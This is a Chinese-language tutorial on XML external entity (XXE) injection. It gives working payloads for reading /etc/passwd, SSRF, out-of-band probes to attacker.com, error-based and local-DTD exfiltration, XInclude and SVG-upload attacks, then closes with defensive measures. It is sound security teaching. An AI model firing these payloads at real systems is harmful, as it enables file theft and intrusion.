服务器端漏洞篇之XML外部实体注入(XXE)专题
字数 901 2025-08-10 16:34:34

XML外部实体注入(XXE)漏洞详解

1. XML基础概念

1.1 什么是XML?

XML(可扩展标记语言)是一种用于存储和传输数据的标记语言,使用自定义标签来定义数据结构。虽然现在JSON更流行,但XML仍在许多系统中使用。

1.2 XML实体

XML实体是表示数据项的方式,例如:

  • 预定义实体:&lt;表示<&gt;表示>
  • 自定义实体:可以在文档类型定义(DTD)中声明

1.3 文档类型定义(DTD)

DTD(Document Type Definition)定义XML文档的结构和数据类型,可以:

  • 在XML文档内部声明(内部DTD)
  • 从外部加载(外部DTD)
  • 混合使用

2. XML外部实体(XXE)漏洞原理

2.1 XML自定义实体

<!DOCTYPE foo [
  <!ENTITY myentity "my entity value">
]>

引用方式:&myentity;

2.2 XML外部实体

使用SYSTEM关键字声明外部实体:

<!DOCTYPE foo [
  <!ENTITY ext SYSTEM "http://normal-website.com">
]>

或使用file协议:

<!DOCTYPE foo [
  <!ENTITY ext SYSTEM "file:///path/to/file">
]>

3. XXE攻击类型

3.1 获取文件内容

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<stockCheck>
  <productId>&xxe;</productId>
</stockCheck>

3.2 发动SSRF攻击

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/">
]>

3.3 XXE盲打

当响应中不直接显示结果时使用。

3.3.1 带外(OAST)技术探测

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://attacker.com">
]>

3.3.2 使用XML参数实体

<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.com">
  %xxe;
]>

3.4 通过报错信息泄露数据

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

3.5 复用本地DTD

<!DOCTYPE foo [
  <!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
  <!ENTITY % custom_entity '<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
    <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
    &#x25;eval;&#x25;error;'>
  %local_dtd;
]>

4. XXE隐藏攻击面

4.1 XInclude攻击

当无法控制整个XML文档时使用:

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</foo>

4.2 通过文件上传

上传包含XXE payload的XML格式文件(如SVG图像):

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [
  <!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg">
  <text font-size="16" x="0" y="16">&xxe;</text>
</svg>

4.3 修改Content-Type

application/x-www-form-urlencoded改为text/xml

POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

5. XXE漏洞防御

  1. 禁用外部实体解析:配置XML解析器禁用外部实体
  2. 禁用XInclude支持:防止XInclude攻击
  3. 使用更安全的数据格式:如JSON
  4. 输入验证:对用户提供的XML进行严格验证
  5. 最小化XML功能:仅启用必要的XML功能

6. 总结

XXE漏洞危害严重,可导致:

  • 敏感文件读取
  • 服务器端请求伪造(SSRF)
  • 远程代码执行
  • 拒绝服务攻击

防御关键在于正确配置XML解析器并限制其功能。开发人员应了解XXE风险并在设计阶段就考虑安全措施。

XML外部实体注入(XXE)漏洞详解 1. XML基础概念 1.1 什么是XML? XML(可扩展标记语言)是一种用于存储和传输数据的标记语言,使用自定义标签来定义数据结构。虽然现在JSON更流行,但XML仍在许多系统中使用。 1.2 XML实体 XML实体是表示数据项的方式,例如: 预定义实体: &lt; 表示 < , &gt; 表示 > 自定义实体:可以在文档类型定义(DTD)中声明 1.3 文档类型定义(DTD) DTD(Document Type Definition)定义XML文档的结构和数据类型,可以: 在XML文档内部声明(内部DTD) 从外部加载(外部DTD) 混合使用 2. XML外部实体(XXE)漏洞原理 2.1 XML自定义实体 引用方式: &myentity; 2.2 XML外部实体 使用SYSTEM关键字声明外部实体: 或使用file协议: 3. XXE攻击类型 3.1 获取文件内容 3.2 发动SSRF攻击 3.3 XXE盲打 当响应中不直接显示结果时使用。 3.3.1 带外(OAST)技术探测 3.3.2 使用XML参数实体 3.4 通过报错信息泄露数据 3.5 复用本地DTD 4. XXE隐藏攻击面 4.1 XInclude攻击 当无法控制整个XML文档时使用: 4.2 通过文件上传 上传包含XXE payload的XML格式文件(如SVG图像): 4.3 修改Content-Type 将 application/x-www-form-urlencoded 改为 text/xml : 5. XXE漏洞防御 禁用外部实体解析 :配置XML解析器禁用外部实体 禁用XInclude支持 :防止XInclude攻击 使用更安全的数据格式 :如JSON 输入验证 :对用户提供的XML进行严格验证 最小化XML功能 :仅启用必要的XML功能 6. 总结 XXE漏洞危害严重,可导致: 敏感文件读取 服务器端请求伪造(SSRF) 远程代码执行 拒绝服务攻击 防御关键在于正确配置XML解析器并限制其功能。开发人员应了解XXE风险并在设计阶段就考虑安全措施。